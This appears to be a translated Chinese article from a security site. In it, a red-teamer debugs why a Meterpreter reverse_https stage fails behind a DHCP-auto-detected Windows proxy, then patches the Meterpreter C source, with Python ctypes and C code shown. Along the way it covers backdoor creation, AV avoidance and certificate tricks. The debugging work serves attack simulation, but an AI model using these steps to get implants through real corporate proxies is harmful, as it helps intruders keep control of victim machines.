首页 > 安全 > 网络安全 > 正文
使用Meterpreter和Windows代理的APT案例分析
2017-05-18       个评论      
收藏    我要投稿

一、前言

使用Meterpreter和Windows代理的APT案例分析。几个月之前,我自己开发了一个APT工具,工具的使用场景为企业中的Windows攻击模拟环境,这个环境只能通过代理方式访问互联网。在测试工具时,我发现使用HTTPS协议的Meterpreter载荷工作不正常。说实话,一开始我并不确定这个问题是否与我的APT工具的工作机制有关(将Meterpreter载荷注入内存),还是与其他原因有关。在这个环境中,我的APT工具必须与代理打交道,因此我不得不找到确切原因,再去解决这个问题。

在全面分析整个情况之后,我发现我正在使用的Meterpreter载荷可能无法正常工作。当时我使用的Meterpreter载荷为“windows/meterpreter/reverse_https”,Metasploit的版本为4.12.40-dev。

在讨论技术细节之前,先介绍一下我的测试环境:

1、受害者机器系统及IP地址:Windows 8.1 x64 Enterprise/10.x.x.189;

2、互联网访问方式:通过认证代理访问(设置DHCP选项,并且在IE中勾选“自动检测设置(Automatically detect settings)”选项);

3、代理服务器的外部IP地址:190.x.x.x;

4、攻击者主机IP地址:190.y.y.y;

5、Meterpreter载荷:windows/meterpreter/reverse_https。

需要注意的是,“reverse_https”载荷是一个传输器载荷(staged payload)。也就是说,这是一种“先遣队”类型的载荷,在受害者主机上运行,可以下载真正的Meterpreter DLL载荷(如metsrv.x86.dll或者metsrv.x64.dll),通过反射注入方式(reflective injection),将DLL注入到受害者主机内存中。

受害者主机的外部IP如下图所示:

\

受害者主机的代理配置情况如下图所示(已勾选“自动检测设置”选项):

\

“autoprox.exe”工具在受害者主机上的运行结果如下图所示。可以看到,受害者主机通过DHCP(252选项)获取代理配置信息。

\

从上图可知,对于“www.google.com”来说,主机在访问这个地址必须使用“10.x.x.20:8080”这个代理。如果不使用工具,我们也可以手动下载wpad.dat文件(这个文件位置可通过DHCP的252选项获得),检查其中包含的规则,了解代理的具体使用场景。

请注意:根据我的研究结果,autoprox.exe(pierrelc@microsoft.com写的一款工具)首先会使用Windows API搜索DHCP提供的代理信息,如果搜索失败,会尝试通过DNS获取代理信息。

二、具体分析

在分析这个问题的过程中,我会修改Meterpreter载荷中的几行代码,并在受害者主机上测试运行,因此,我们需要创建一个使用HTTPs协议的meterpreter反弹载荷(windows/meterpreter/reverse_https)的后门程序,或者使用某个Web传输模块。对你而言,选择使用那种方式都可以。

请注意:我们可以使用Shellter以及其他可信的程序(如putty.exe)创建一个简单的后门程序,除此之外,我建议使用Metasploit的Web传输载荷。我们将要修改的是传输体(stage)载荷,而不是传输器(stager)载荷,因此我们只需要创建一个后门程序,就能满足所有实验场景。

接下来,我们在受害者主机上运行后门程序,在攻击者主机上运行Metasploit监听端,看一下执行结果。

如下图所示, MSF handler在攻击者主机的443端口上监听,之后接收到来自于受害者主机的一个连接请求(源端口为18903):

\

从上图可知,受害者主机已经连接到攻击者主机上的handler,此时我们应该已经获得了一个Meterpreter shell。然而,不管我输入什么命令,我都收不到受害者主机的有效回应,然后会话就会被关闭。

当传输器载荷(很小的一段代码)在受害者主机上运行时,它会回连到攻击者主机上的监听端,下载真正的攻击代码(即Meterpreter载荷)并将其注入到内存中,之后再将控制权交给攻击代码。加载成功后Meterpreter载荷会再次连接到攻击者主机上监听端,以便攻击者与受害主机系统进行交互。

到目前为止,我们知道传输器载荷已经成功在受害者主机上运行,能够穿透代理回连到监听端。然而,当传输体载荷注入到受害者主机内存后(如果注入过程有效的话),哪里出了点问题导致传输体载荷不能正常工作。

请注意:为了打消你的顾虑,我检查了整个攻击过程是否受到AV软件的影响,然而这些攻击载荷都不会被AV软件查杀。此外,为了避免网管对HTTPS的监听行为,我手动创建了一个PEM证书,配置监听端使用这个证书。使用浏览器观察手动访问Metasploit监听端时的指纹信息,将这个指纹与刚刚创建的证书的指纹信息进行对比,确保证书在传输过程中没有被替换。排除掉这些可能存在的问题之后,我决定继续在其他地方查找问题的真正原因。

接下来我决定嗅探来自于受害者主机的网络流量,从黑盒测试角度获取更多的信息。

在受害者主机上使用Wireshark抓的包如下图所示:

\

我们可以从上图中观察到受害者主机(10.x.x.189)与代理服务器(10.x.x.20:8080)之间所建立的TCP连接,受害者主机发送了一个CONNECT方法(第一个报文),请求与攻击者主机(190.x.x.x:443)建立一个安全的(SSL/TLS)通信渠道。此外,我们从第一和第二个数据包中可知,受害者主机的请求中使用了NTLM身份验证(NTLMSSP_AUTH),代理服务器的响应是“连接建立”(HTTP/1.1 200)。之后就是SSL/TLS握手过程。

值得一提的是,上图反应的是第一阶段的发送和接收数据包,也就是传输器载荷执行时的通信数据包。连接建立完毕后,通信两端(即客户端和服务端)之间就会进行典型的SSL/TLS握手过程,建立加密通信信道,之后传输体载荷就会经过加密信道,从攻击者主机发往受害者主机。

现在,我们可以确定Meterpreter在第一阶段的部署过程(即传输器载荷)工作正常,接下来我们需要了解第二阶段的工作过程,也就是传输体载荷和监听端之间的通信过程。为此,我们只需要继续分析Wireshark的抓包结果即可。

传输器载荷和监听端的最后一部分通信数据包如下图所示,在这之后,受害者主机会尝试不经过代理,直接与攻击者主机建立连接:

\

在上图的前5个数据包中,我们可以看到受害者主机(10.x.x.189)与代理服务器(10.x.x.20)的TCP连接中断标识(FIN、ACK;ACK;FIN、ACK;ACK)。之后我们可以看到,第6个数据包为受害者主机直接发往攻击者主机的数据包,其中包含一个TCP SYN标志(用来初始化一个TCP握手过程),也就是说受害者主机没有使用代理服务器作为建连的跳板。最后,我们可以看到,第7个数据包为受害者主机所收到的网关响应报文,表明建连目的地(即攻击者主机)无法通过该网络直接访问(我在前文提到过,这个环境中必须使用代理服务器才能访问互联网)。

通过上述抓包结果,我们知道Meterpreter会话建立失败。我们认为Meterpreter传输体载荷之所以不能访问监听端,原因在于传输体载荷使用了直接建连方式,没有像传输器载荷那样使用系统代理服务器。

现在我们要做的就是下载Meterpreter源代码,尝试从源代码角度分析这种行为的根本原因。为此,我们需要遵循Rapid7在github上发布的如何在Windows上编译的指南(读者可以在本文的参考资料中找到相关链接)。

根据指南给出的建议,我们使用Visual Studio 2013打开项目解决方案文件(\metasploit-payloads\c\meterpreter\workspace\meterpreter.sln),开始分析源代码。

浏览源代码之后,我们发现在源代码的“server_transport_winhttp.c”文件中,有关于代理处理逻辑的具体实现(请阅读参考资料快速定位源代码文件)。

Meterpreter中对代理设置情况的判断如以下部分代码所示:

\

我之前从github了解到,Meterpreter的reverse_https(第一次)会尝试使用WinHTTP Windows API访问互联网,正如我们在这部分代码中看到的情况一样。

从代码中我们可以看到很多dprint调用语句,使用这些语句是为了方便调试,以便在运行时给我们提供有价值的信息。

为了使这些调试信息对我们可见,我们需要编辑源代码中的common.h头文件,修改其中的DEBUGTRACE预处理器(pre-processor)常量,这样就可以使服务器(受害者主机中加载的Meterpreter DLL文件)在Visual Stuido的Output窗口打印调试信息,我们也可以使用SysInternals的DebugView工具或者Windbg工具查看调试信息。

在原始的common.h头文件中,DEBUGTRACE常量在代码中处于被注释状态,如下图所示:

\

现在我们可以编译工程文件,将生成的“metsrv.x86.dll”二进制文件(位于“\metasploit-payloads\c\meterpreter\output\x86\”文件夹中)拷贝到攻击者主机中(即运行metasploit监听端的主机)的正确文件目录中(对我来说,这个目录位于“/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasploit-payloads-1.1.26/data/meterpreter/”路径)。

在调试主机上,我们运行DebugView工具,然后执行后门程序,使Meterpreter传输器载荷再次运行。

受害者主机上的调试信息输出如下:

\

从Meterpreter生成的调试(日志)信息中,我们可以看到第70-74行对应的是 “server_transport_winhttp.c” 源代码文件中第48-52行的dprintf语句。具体说来,第71行(““[PROXY] AutoDetect: yes””)表明程序检测出来受害者主机上的代理被设置为“自动检测(AutoDetect)”。然而,获取的代理URL地址却为空(NULL)。最后,我们可以观察到传输体载荷试图发送GET请求(第75行)。

感谢Meterpreter生成的调试信息,现在我们已经接近事实的真相。看起来程序中负责处理Windows代理的代码片段没有被正确实现。为了解决这个问题,我们需要对代码进行分析、修改以及测试。

我需要重复多次编译Meterpreter的C工程文件,将生成的metsrv DLL拷贝到攻击者主机中,使用受害者主机进行测试,这个过程非常耗时。因此我决定使用Python语言,复制C文件中与代理有关的处理代码,这样一来整个处理过程会更加轻松(感谢Python ctypes库的强大功能)。

提取“server_transport_winhttp.c”源代码中与Meterpreter的代理处理逻辑有关的代码,将其转换为Python语言,如下所示:

import ctypes

import ctypes.wintypes

import sys

class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):

_fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),

("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),

("lpszProxy", ctypes.wintypes.LPWSTR),

("lpszProxyBypass", ctypes.wintypes.LPWSTR)]

class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):

_fields_ = [("dwFlags", ctypes.wintypes.DWORD),

("dwAutoDetectFlags", ctypes.wintypes.DWORD),

("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),

("lpvReserved", ctypes.c_void_p),

("dwReserved", ctypes.wintypes.DWORD),

("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]

class WINHTTP_PROXY_INFO(ctypes.Structure):

_fields_ = [("dwAccessType", ctypes.wintypes.DWORD),

("lpszProxy", ctypes.wintypes.LPCWSTR),

("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]

# dwFlags values

WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001

WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002

# dwAutoDetectFlags values

WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001

WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002

# Parameters for WinHttpOpen

WINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0

WINHTTP_NO_PROXY_NAME = 0

WINHTTP_NO_PROXY_BYPASS = 0

WINHTTP_FLAG_ASYNC = 0x10000000

test_url = "http://www.google.com"

# Gets the current user IE proxy configuration

ieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()

result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))

if not result:

print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError()

sys.exit()

print "[+] Got IE configuration"

print "\tAutoDetect: %s" % ieConfig.fAutoDetect

print "\tAuto URL: %s" % ieConfig.lpszAutoConfigUrl

print "\tProxy: %s" % ieConfig.lpszProxy

print "\tProxy Bypass: %s" % ieConfig.lpszProxyBypass

# We have three alternatives:

# 1. The configuration is set to "auto detect" the proxy, that is, via DHCP or DNS (in that order)

# 2. There is a URL for downloading the script with the configuration (proxy autoconfiguration, PAC)

# 3. A manually configured proxy is being used

if ieConfig.lpszAutoConfigUrl:

autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS()

proxyInfo = WINHTTP_PROXY_INFO()

print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl

autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT | WINHTTP_AUTOPROXY_CONFIG_URL

autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A

autoProxyOpts.fAutoLogonIfChallenged = True

autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl

hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)

if not hInternet:

print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError()

sys.exit()

result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), ctypes.byref(proxyInfo))

if not result:

print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError()

sys.exit()

print "[+] Proxy Host: %s" % proxyInfo.lpszProxy

elif ieConfig.lpszProxy:

print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)

这一段脚本程序在受害者主机上的执行结果如下图所示:

\

从脚本的输出信息中,我们可知Python程序的执行结果与C版本的一致。程序检测到代理的自动配置选项,但没有获取到代理地址。

如果我们再次检查代码,我们会发现,程序在某个“if”代码块内判断是否可能使用DHCP以及DNS获取代理信息,如果自动配置URL(ieConfig.lpszAutoConfigUrl)的条件为真就会执行这个代码块。然而,如果仅仅启用了AutoDetect选项,这部分代码并不会被执行,而这正是受害者主机上发生的情况。

在这个特定场景中(受害者主机所处的环境),代理的配置信息需要通过DHCP的252选项获取。

受害者主机上嗅探的DHCP传输数据包如下图所示:

\

从这个传输数据包中我们可以看出,DHCP服务器的应答中包含252选项(“Private/Proxy autodiscovery”,私有选项,用于代理的自动发现),包含代理的URL地址。这正是我们在运行autoprox.exe工具时获得的信息。

在继续分析之前,我们需要了解Windows为代理配置提供的三种选项:

1、自动检测代理设置:使用DHCP(252选项)获取代理URL地址,或者使用DNS、LLMNR、NBNS(如果启用的话)获取WPAD主机名;

2、使用自动配置脚本:从某个URL下载配置脚本,通过这个脚本决定何时使用代理服务器;

3、手动设置代理服务器:为不同的协议手动配置代理服务器。

关于这个问题的根本原因,现在我们又掌握了更多的信息,我会稍微修改程序代码,将代理自动检测的可能性考虑在内。让我们先修改Python代码,如果代码工作正常,我们就可以修改Meterpreter的C语言代码,然后再编译生成Meterpreter载荷。

修改后的Python代码如下所示:

import ctypes

import ctypes.wintypes

import sys

class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):

_fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),

("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),

("lpszProxy", ctypes.wintypes.LPWSTR),

("lpszProxyBypass", ctypes.wintypes.LPWSTR)]

class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):

_fields_ = [("dwFlags", ctypes.wintypes.DWORD),

("dwAutoDetectFlags", ctypes.wintypes.DWORD),

("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),

("lpvReserved", ctypes.c_void_p),

("dwReserved", ctypes.wintypes.DWORD),

("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]

class WINHTTP_PROXY_INFO(ctypes.Structure):

_fields_ = [("dwAccessType", ctypes.wintypes.DWORD),

("lpszProxy", ctypes.wintypes.LPCWSTR),

("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]

# dwFlags values

WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001

WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002

# dwAutoDetectFlags values

WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001

WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002

# Parameters for WinHttpOpen

WINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0

WINHTTP_NO_PROXY_NAME = 0

WINHTTP_NO_PROXY_BYPASS = 0

WINHTTP_FLAG_ASYNC = 0x10000000

test_url = "http://www.google.com"

# Gets the current user IE proxy configuration

ieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()

result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))

if not result:

print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError()

sys.exit()

print "[+] Got IE configuration"

print "\tAutoDetect: %s" % ieConfig.fAutoDetect

print "\tAuto URL: %s" % ieConfig.lpszAutoConfigUrl

print "\tProxy: %s" % ieConfig.lpszProxy

print "\tProxy Bypass: %s" % ieConfig.lpszProxyBypass

# We have three alternatives:

# 1. The configuration is to "auto detect" the proxy, that is, via DHCP or DNS

# 2. There is a URL for the script with the configuratoin (proxy autoconfiguration, PAC)

# 3. A manually configured proxy is being used

if ieConfig.lpszAutoConfigUrl or ieConfig.fAutoDetect:

autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS()

proxyInfo = WINHTTP_PROXY_INFO()

if ieConfig.lpszAutoConfigUrl:

print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl

autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL

autoProxyOpts.dwAutoDetectFlags = 0

autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl

if ieConfig.fAutoDetect:

print "[+] IE config set to autodetect via DHCP or DNS"

autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT

autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A

autoProxyOpts.lpszAutoConfigUrl = 0

autoProxyOpts.fAutoLogonIfChallenged = True

hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)

if not hInternet:

print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError()

sys.exit()

result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), ctypes.byref(proxyInfo))

if not result:

print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError()

sys.exit()

print "[+] Proxy Host: %s" % proxyInfo.lpszProxy

elif ieConfig.lpszProxy:

print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)

修改后的代码考虑到了通过DHCP/DNS获取代理的可能性。现在我们可以运行这段代码,观察代码的执行结果。

修改后的Python代码在受害者主机上的执行结果如下图所示:

\

从上图可知,程序成功通过DHCP获取了代理信息,代理信息与本文开头给出的信息一致(即10.x.x.20)。

Python版的代码工作正常,我们可以更新Meterpreter的C版代码(server_transport_winhttp.c),测试我们的后门程序能否正常运行。

修改后的Meterpreter源代码如下所示:

...

dprintf("[PROXY] Got IE configuration");

dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no");

dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl);

dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy);

dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass);

if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect)

{

WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 };

WINHTTP_PROXY_INFO proxyInfo = { 0 };

if (ieConfig.fAutoDetect)

{

dprintf("[PROXY] IE config set to autodetect via DHCP or DNS");

autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT;

autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;

autoProxyOpts.lpszAutoConfigUrl = 0;

}

else if (ieConfig.lpszAutoConfigUrl)

{

dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl);

autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;

autoProxyOpts.dwAutoDetectFlags = 0;

autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl;

}

autoProxyOpts.fAutoLogonIfChallenged = TRUE;

if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo))

...

代码修改完毕后,我们重新编译工程文件,将生成的metsrv Meterpreter DLL文件拷贝到监听端主机上,再次运行监听端,等待客户端连接。

监听端在攻击者主机上的运行情况如下图所示:

\

从上图可知,当受害者主机使用“自动探测”代理选项时(本例中使用的是DHCP的252选项),我们能够成功建立Meterpreter会话。

点击复制链接 与好友分享!回本站首页
上一篇:NSA武器库:DoublePulsar初始SMB后门shellcode分析
下一篇:制造勒索病毒的黑客请注意,你摊上大事了!
相关文章
图文推荐
文章
推荐
热门新闻

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 红黑联盟--致力于做实用的IT技术学习网站